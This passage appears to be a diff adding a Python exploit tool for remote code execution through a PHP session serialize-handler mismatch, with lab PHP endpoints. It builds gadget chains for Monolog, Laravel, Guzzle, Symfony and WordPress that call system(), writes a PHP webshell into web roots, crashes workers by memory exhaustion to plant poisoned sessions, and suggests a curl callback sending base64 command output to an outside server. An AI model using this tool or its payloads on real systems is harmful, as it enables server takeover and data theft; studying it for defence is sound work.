WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
|
||||
$fileHandles is a SortableIterator wrapping an ArrayObject:
|
||||
SortableIterator implements IteratorAggregate
|
||||
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
|
||||
usort compares elements via call_user_func($a, $b)
|
||||
ArrayObject contains [$function, $parameter]
|
||||
-> call_user_func('system', $cmd)
|
||||
|
||||
Requires symfony/finder + symfony/process (present in all Symfony apps).
|
||||
"""
|
||||
arr = php_obj("ArrayObject", [
|
||||
(php_int(0), php_str(cmd)),
|
||||
(php_int(1), php_str("system")),
|
||||
])
|
||||
|
||||
# ArrayObject serializes differently: uses C: format
|
||||
# We need to use the C: custom serialization format for ArrayObject
|
||||
# Use O: format (works for ArrayObject deserialization):
|
||||
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
|
||||
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
|
||||
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
|
||||
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
|
||||
|
||||
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
|
||||
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
|
||||
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
|
||||
])
|
||||
|
||||
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
|
||||
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
|
||||
])
|
||||
|
||||
|
||||
def chain_symfony_fw(write_path, shell_code):
|
||||
"""Symfony file write via system() (2.6.0-4.4.18).
|
||||
|
||||
Same WindowsPipes gadget, calls system() with a write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_symfony_cmd(cmd)
|
||||
|
||||
|
||||
def chain_wordpress_cmd(cmd):
|
||||
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
|
||||
|
||||
WP_HTML_Token.__destruct
|
||||
-> ($this->on_destroy)($this->bookmark_name)
|
||||
-> system($cmd)
|
||||
|
||||
Uses only PUBLIC properties, so this chain works in progress mode
|
||||
(no NULL bytes from protected/private property names).
|
||||
|
||||
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
|
||||
"""
|
||||
return php_obj("WP_HTML_Token", [
|
||||
(php_str("bookmark_name"), php_str(cmd)),
|
||||
(php_str("on_destroy"), php_str("system")),
|
||||
])
|
||||
|
||||
|
||||
def chain_wordpress_fw(write_path, shell_code):
|
||||
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
|
||||
|
||||
Same gadget, calls system() with a write command.
|
||||
Public properties only: works in progress mode.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_wordpress_cmd(cmd)
|
||||
|
||||
|
||||
CHAINS = {
|
||||
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
|
||||
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
|
||||
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
|
||||
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
|
||||
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
|
||||
"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
|
||||
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
|
||||
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
|
||||
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
|
||||
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
|
||||
}
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# HTTP helpers (raw sockets for binary payloads)
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=30):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def status_code(resp):
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
return 0
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return resp
|
||||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in hdr.lower():
|
||||
out, data = b"", raw
|
||||
while data:
|
||||
nl = data.find(b"\r\n")
|
||||
if nl < 0:
|
||||
break
|
||||
try:
|
||||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||
except ValueError:
|
||||
break
|
||||
if clen == 0:
|
||||
break
|
||||
out += data[nl+2:nl+2+clen]
|
||||
data = data[nl+2+clen+2:]
|
||||
return out
|
||||
return raw
|
||||
|
||||
|
||||
def extract_cookies(resp):
|
||||
cookies = {}
|
||||
for line in resp.split(b"\r\n"):
|
||||
if line.lower().startswith(b"set-cookie:"):
|
||||
cookie_str = line.split(b":", 1)[1].strip()
|
||||
kv = cookie_str.split(b";")[0]
|
||||
if b"=" in kv:
|
||||
k, v = kv.split(b"=", 1)
|
||||
cookies[k.strip().decode()] = v.strip().decode()
|
||||
return cookies
|
||||
|
||||
|
||||
def http_get(host, port, tls, path, cookies=None, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
req = (
|
||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
)
|
||||
if cookies:
|
||||
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
req = (
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: application/x-www-form-urlencoded\r\n"
|
||||
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
|
||||
)
|
||||
if cookies:
|
||||
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req + body_bytes)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# Progress mode: multipart with upload progress + OOM
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def escape_filename(raw):
|
||||
"""Escape bytes for Content-Disposition filename= quoted string.
|
||||
NULL bytes are NOT supported (PHP truncates at \\x00)."""
|
||||
out = b""
|
||||
for byte in raw:
|
||||
if byte == ord('"'):
|
||||
out += b'\\"'
|
||||
elif byte == ord('\\'):
|
||||
out += b'\\\\'
|
||||
elif byte == 0:
|
||||
raise ValueError("NULL bytes cannot appear in multipart filenames")
|
||||
else:
|
||||
out += bytes([byte])
|
||||
return out
|
||||
|
||||
|
||||
def mp_field(bnd, name, value):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n")
|
||||
|
||||
|
||||
def mp_file_with_name(bnd, fieldname, filename_raw, content):
|
||||
escaped = escape_filename(filename_raw)
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + fieldname
|
||||
+ b'"; filename="' + escaped + b'"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n"
|
||||
b"\r\n" + content + b"\r\n")
|
||||
|
||||
|
||||
def mp_end(bnd):
|
||||
return b"--" + bnd + b"--\r\n"
|
||||
|
||||
|
||||
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
|
||||
fields=30000, fsize=512):
|
||||
"""Inject chain via upload progress filename + OOM crash.
|
||||
|
||||
The filename contains |<chain>. PHP stores it in the upload
|
||||
progress data in the session file. OOM crash skips cleanup,
|
||||
leaving the poisoned session on disk.
|
||||
|
||||
NOTE: chain_bytes must not contain NULL bytes (multipart parser
|
||||
limitation). Use only chains with public properties.
|
||||
"""
|
||||
bnd = b"----DESER" + os.urandom(8).hex().encode()
|
||||
filename_payload = b"x|" + chain_bytes
|
||||
|
||||
body = b""
|
||||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
|
||||
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
|
||||
for i in range(fields):
|
||||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||
body += mp_end(bnd)
|
||||
|
||||
sock = tcp_connect(host, port, tls, timeout=120)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
try:
|
||||
sock.sendall(body)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
resp = recv_all(sock, timeout=10)
|
||||
sock.close()
|
||||
return status_code(resp)
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# Exploit logic
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def run_inject(args, chain_bytes):
|
||||
"""Inject mode: POST chain into session, trigger via handler mismatch."""
|
||||
inj = urlparse(args.inject_url)
|
||||
trg = urlparse(args.trigger_url)
|
||||
inj_tls = inj.scheme == "https"
|
||||
trg_tls = trg.scheme == "https"
|
||||
inj_host = inj.hostname or "127.0.0.1"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
inj_port = inj.port or (443 if inj_tls else 80)
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
inj_path = inj.path or "/"
|
||||
trg_path = trg.path or "/"
|
||||
if inj.query:
|
||||
inj_path += "?" + inj.query
|
||||
if trg.query:
|
||||
trg_path += "?" + trg.query
|
||||
|
||||
# The payload: | followed by serialized chain
|
||||
# When php_serialize stores this in the session file as a
|
||||
# length-prefixed string, the | is preserved. When the php
|
||||
# handler reads the file, it finds | and deserializes what follows.
|
||||
payload = b"|" + chain_bytes
|
||||
|
||||
print("[*] Phase 1: obtaining session ID from inject endpoint...")
|
||||
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
|
||||
cookies = extract_cookies(probe)
|
||||
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
|
||||
print(f" PHPSESSID: {sid}")
|
||||
|
||||
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
|
||||
print(f" Payload size: {len(payload)} bytes")
|
||||
|
||||
# URL-encode the binary payload for form POST
|
||||
encoded_param = args.inject_param.encode() + b"="
|
||||
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
|
||||
post_body = encoded_param + encoded_value
|
||||
|
||||
resp = http_post_form(
|
||||
inj_host, inj_port, inj_tls, inj_path,
|
||||
post_body,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc = status_code(resp)
|
||||
print(f" Response: HTTP {sc}")
|
||||
if sc not in (200, 301, 302, 303, 204):
|
||||
print(f" [!] Unexpected status. Session may not have been written.")
|
||||
|
||||
print("[*] Phase 3: triggering deserialization via handler mismatch...")
|
||||
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
|
||||
|
||||
resp2 = http_get(
|
||||
trg_host, trg_port, trg_tls, trg_path,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc2 = status_code(resp2)
|
||||
body2 = body_of(resp2).decode(errors="replace")
|
||||
print(f" Response: HTTP {sc2}")
|
||||
|
||||
return sid, sc2, body2
|
||||
|
||||
|
||||
def run_progress(args, chain_bytes):
|
||||
"""Progress mode: inject via upload progress filename + OOM crash."""
|
||||
wr = urlparse(args.write_url)
|
||||
trg = urlparse(args.trigger_url)
|
||||
wr_tls = wr.scheme == "https"
|
||||
trg_tls = trg.scheme == "https"
|
||||
wr_host = wr.hostname or "127.0.0.1"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
wr_port = wr.port or (443 if wr_tls else 80)
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
wr_path = wr.path or "/"
|
||||
trg_path = trg.path or "/"
|
||||
|
||||
if b"\x00" in chain_bytes:
|
||||
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
|
||||
print(" via multipart filenames (PHP truncates at \\x00).")
|
||||
print(" Use --mode inject, or provide a NULL-free chain.")
|
||||
sys.exit(1)
|
||||
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[*] Session ID: {sid}")
|
||||
|
||||
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
|
||||
print(f" Fields: {args.fields} x {args.field_size}B")
|
||||
sc = progress_inject_oom(
|
||||
wr_host, wr_port, wr_tls, wr_path, sid,
|
||||
chain_bytes, args.fields, args.field_size,
|
||||
)
|
||||
if sc in (502, 0):
|
||||
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
||||
elif sc == 500:
|
||||
print(f" [+] HTTP 500 (OOM during script)")
|
||||
else:
|
||||
print(f" [!] HTTP {sc} — may not have OOMed")
|
||||
|
||||
print(" Waiting for new worker...")
|
||||
time.sleep(2)
|
||||
for _ in range(8):
|
||||
try:
|
||||
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
|
||||
if status_code(r) in (200, 301, 302, 403, 404):
|
||||
print(" New worker ready")
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(1)
|
||||
|
||||
print("[*] Phase 2: triggering deserialization via handler mismatch...")
|
||||
resp = http_get(
|
||||
trg_host, trg_port, trg_tls, trg_path,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc2 = status_code(resp)
|
||||
body2 = body_of(resp).decode(errors="replace")
|
||||
print(f" Response: HTTP {sc2}")
|
||||
|
||||
return sid, sc2, body2
|
||||
|
||||
|
||||
def run(args):
|
||||
# Build or load chain
|
||||
if args.chain_file:
|
||||
with open(args.chain_file, "rb") as f:
|
||||
chain_bytes = f.read().rstrip(b"\n\r")
|
||||
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
|
||||
try:
|
||||
chain_bytes = base64.b64decode(chain_bytes)
|
||||
except Exception:
|
||||
pass
|
||||
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
|
||||
elif args.chain in CHAINS:
|
||||
info = CHAINS[args.chain]
|
||||
if info["type"] == "fw":
|
||||
if not args.write_path:
|
||||
print(f"[!] --write-path required for {args.chain} chain")
|
||||
print(" e.g., --write-path /var/www/html/shell.php")
|
||||
sys.exit(1)
|
||||
shell = args.shell_code or "<?php system($_GET['c']); ?>"
|
||||
chain_bytes = info["fn"](args.write_path, shell)
|
||||
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
|
||||
else:
|
||||
if not args.cmd:
|
||||
print(f"[!] --cmd required for {args.chain} chain")
|
||||
sys.exit(1)
|
||||
chain_bytes = info["fn"](args.cmd)
|
||||
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
|
||||
else:
|
||||
print("[!] Specify --chain or --chain-file")
|
||||
print(" Available chains: " + ", ".join(CHAINS.keys()))
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[*] Chain size: {len(chain_bytes)} bytes")
|
||||
has_nulls = b"\x00" in chain_bytes
|
||||
if has_nulls:
|
||||
print("[*] Chain contains NULL bytes (normal for protected/private props)")
|
||||
print()
|
||||
|
||||
print("=" * 65)
|
||||
print(" PHP Session Deserialization RCE — Handler Mismatch")
|
||||
print(" No LFI. No FPM dependency.")
|
||||
print("=" * 65)
|
||||
print(f" Mode : {args.mode}")
|
||||
if args.mode == "inject":
|
||||
print(f" Inject URL : {args.inject_url}")
|
||||
print(f" Inject param: {args.inject_param}")
|
||||
else:
|
||||
print(f" Write URL : {args.write_url}")
|
||||
print(f" Trigger URL: {args.trigger_url}")
|
||||
if args.chain_file:
|
||||
print(f" Chain : {args.chain_file}")
|
||||
else:
|
||||
print(f" Chain : {args.chain}")
|
||||
print()
|
||||
|
||||
if args.mode == "inject":
|
||||
sid, sc, body = run_inject(args, chain_bytes)
|
||||
else:
|
||||
sid, sc, body = run_progress(args, chain_bytes)
|
||||
|
||||
# Post-exploit for fw chains: verify the webshell was written
|
||||
chain_info = CHAINS.get(args.chain, {})
|
||||
if chain_info.get("type") == "fw" and args.write_path:
|
||||
print()
|
||||
print("[*] Phase 4: verifying webshell...")
|
||||
|
||||
# Guess the webshell URL from write_path
|
||||
# /var/www/html/shell.php -> /shell.php
|
||||
shell_rel = args.write_path
|
||||
for prefix in ["/var/www/html", "/var/www", "/srv/http",
|
||||
"/usr/share/nginx/html"]:
|
||||
if shell_rel.startswith(prefix):
|
||||
shell_rel = shell_rel[len(prefix):]
|
||||
break
|
||||
|
||||
trg = urlparse(args.trigger_url)
|
||||
trg_tls = trg.scheme == "https"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
|
||||
verify_url = shell_rel + "?c=id"
|
||||
try:
|
||||
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
|
||||
vbody = body_of(resp).decode(errors="replace")
|
||||
if "uid=" in vbody:
|
||||
print(f" [+] Webshell works!")
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(vbody.strip())
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
print()
|
||||
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
|
||||
return
|
||||
else:
|
||||
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
|
||||
except Exception as e:
|
||||
print(f" [!] Could not verify: {e}")
|
||||
|
||||
if chain_info.get("type") == "cmd":
|
||||
# Command output may be in the trigger response itself,
|
||||
# or it may have run as a side effect (no visible output).
|
||||
print()
|
||||
if body.strip():
|
||||
print("[+] Trigger response body:")
|
||||
print(body[:500])
|
||||
print()
|
||||
print("[*] Command was executed during deserialization (__destruct).")
|
||||
print(" If output is not visible, use a callback payload:")
|
||||
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
|
||||
|
||||
print()
|
||||
print("[*] Deserialization triggered. If no RCE:")
|
||||
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
|
||||
print(" - Verify the POP chain matches the target's libraries")
|
||||
print(" - Try phpggc to generate a chain for the exact versions:")
|
||||
print(" phpggc -l | grep RCE")
|
||||
print(f" - Session ID was: {sid}")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="PHP Session Deserialization RCE via Handler Mismatch",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
No LFI. No FPM. RCE via session.serialize_handler mismatch.
|
||||
|
||||
Examples:
|
||||
# Inject mode with Monolog file write (drops webshell):
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-fw --write-path /var/www/html/s.php
|
||||
|
||||
# Inject mode with direct command execution:
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-cmd --cmd 'id'
|
||||
|
||||
# Custom phpggc chain (raw or base64):
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain-file chain.bin
|
||||
|
||||
# Progress mode (no app session injection needed):
|
||||
%(prog)s --mode progress \\
|
||||
--write-url http://target/serialize_ep.php \\
|
||||
--trigger-url http://target/php_ep.php \\
|
||||
--chain-file chain_nofull.bin
|
||||
""")
|
||||
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
|
||||
help="Injection mode (default: inject)")
|
||||
ap.add_argument("--inject-url",
|
||||
help="URL of endpoint that stores POST data in session "
|
||||
"(must use php_serialize handler)")
|
||||
ap.add_argument("--inject-param", default="data",
|
||||
help="POST parameter stored in $_SESSION (default: data)")
|
||||
ap.add_argument("--write-url",
|
||||
help="URL of php_serialize endpoint (progress mode)")
|
||||
ap.add_argument("--trigger-url", required=True,
|
||||
help="URL of endpoint using default php handler "
|
||||
"(triggers deserialization)")
|
||||
ap.add_argument("--chain", choices=list(CHAINS.keys()),
|
||||
help="Built-in POP chain")
|
||||
ap.add_argument("--chain-file",
|
||||
help="Custom serialized chain file (e.g., phpggc output)")
|
||||
ap.add_argument("--write-path",
|
||||
help="Target file path for monolog-fw chain")
|
||||
ap.add_argument("--shell-code",
|
||||
help="PHP code for webshell (monolog-fw, default: system)")
|
||||
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
|
||||
ap.add_argument("--fields", type=int, default=30000,
|
||||
help="OOM pressure fields for progress mode (default: 30000)")
|
||||
ap.add_argument("--field-size", type=int, default=512,
|
||||
help="Bytes per OOM field (default: 512)")
|
||||
args = ap.parse_args()
|
||||
|
||||
if args.mode == "inject" and not args.inject_url:
|
||||
print("[!] --inject-url required for inject mode")
|
||||
sys.exit(1)
|
||||
if args.mode == "progress" and not args.write_url:
|
||||
print("[!] --write-url required for progress mode")
|
||||
sys.exit(1)
|
||||
if not args.chain and not args.chain_file:
|
||||
print("[!] Specify --chain or --chain-file")
|
||||
sys.exit(1)
|
||||
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
/**
|
||||
* Direct deserialization test: loads Monolog, unserializes the chain,
|
||||
* lets __destruct fire. Should execute system('id').
|
||||
*/
|
||||
require __DIR__ . '/vendor/autoload.php';
|
||||
|
||||
$payload = base64_decode($argv[1] ?? '');
|
||||
if (!$payload) {
|
||||
fwrite(STDERR, "Usage: php test_chain.php <base64_chain>\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fwrite(STDERR, "Payload length: " . strlen($payload) . "\n");
|
||||
fwrite(STDERR, "Unserializing...\n");
|
||||
|
||||
$obj = unserialize($payload);
|
||||
|
||||
fwrite(STDERR, "Object type: " . get_class($obj) . "\n");
|
||||
fwrite(STDERR, "Letting __destruct fire (end of script)...\n");
|
||||
|
||||
// __destruct fires here when $obj goes out of scope
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
/**
|
||||
* Test endpoint: php_serialize handler.
|
||||
* Stores POST parameters in $_SESSION.
|
||||
*
|
||||
* In the wild, this maps to any endpoint that:
|
||||
* - Uses ini_set('session.serialize_handler', 'php_serialize')
|
||||
* (Laravel, Symfony, etc.)
|
||||
* - Stores user input in $_SESSION
|
||||
*/
|
||||
ini_set('session.serialize_handler', 'php_serialize');
|
||||
session_start();
|
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
foreach ($_POST as $k => $v) {
|
||||
$_SESSION[$k] = $v;
|
||||
}
|
||||
echo json_encode(['status' => 'ok', 'session_id' => session_id()]);
|
||||
} else {
|
||||
echo json_encode([
|
||||
'status' => 'ready',
|
||||
'session_id' => session_id(),
|
||||
'handler' => 'php_serialize',
|
||||
]);
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
/**
|
||||
* Test endpoint: default php handler.
|
||||
* Just calls session_start(). The handler mismatch causes
|
||||
* deserialization of objects injected via the php_serialize endpoint.
|
||||
*
|
||||
* In the wild, this maps to any PHP script on the same host that:
|
||||
* - Does NOT set session.serialize_handler to php_serialize
|
||||
* - Calls session_start()
|
||||
* (phpMyAdmin, legacy scripts, admin panels, etc.)
|
||||
*
|
||||
* Autoloads Monolog so deserialized objects have real classes.
|
||||
*/
|
||||
require __DIR__ . '/vendor/autoload.php';
|
||||
|
||||
session_start();
|
||||
|
||||
echo "OK pid=" . getmypid();
|
||||
Reference in New Issue
Block a user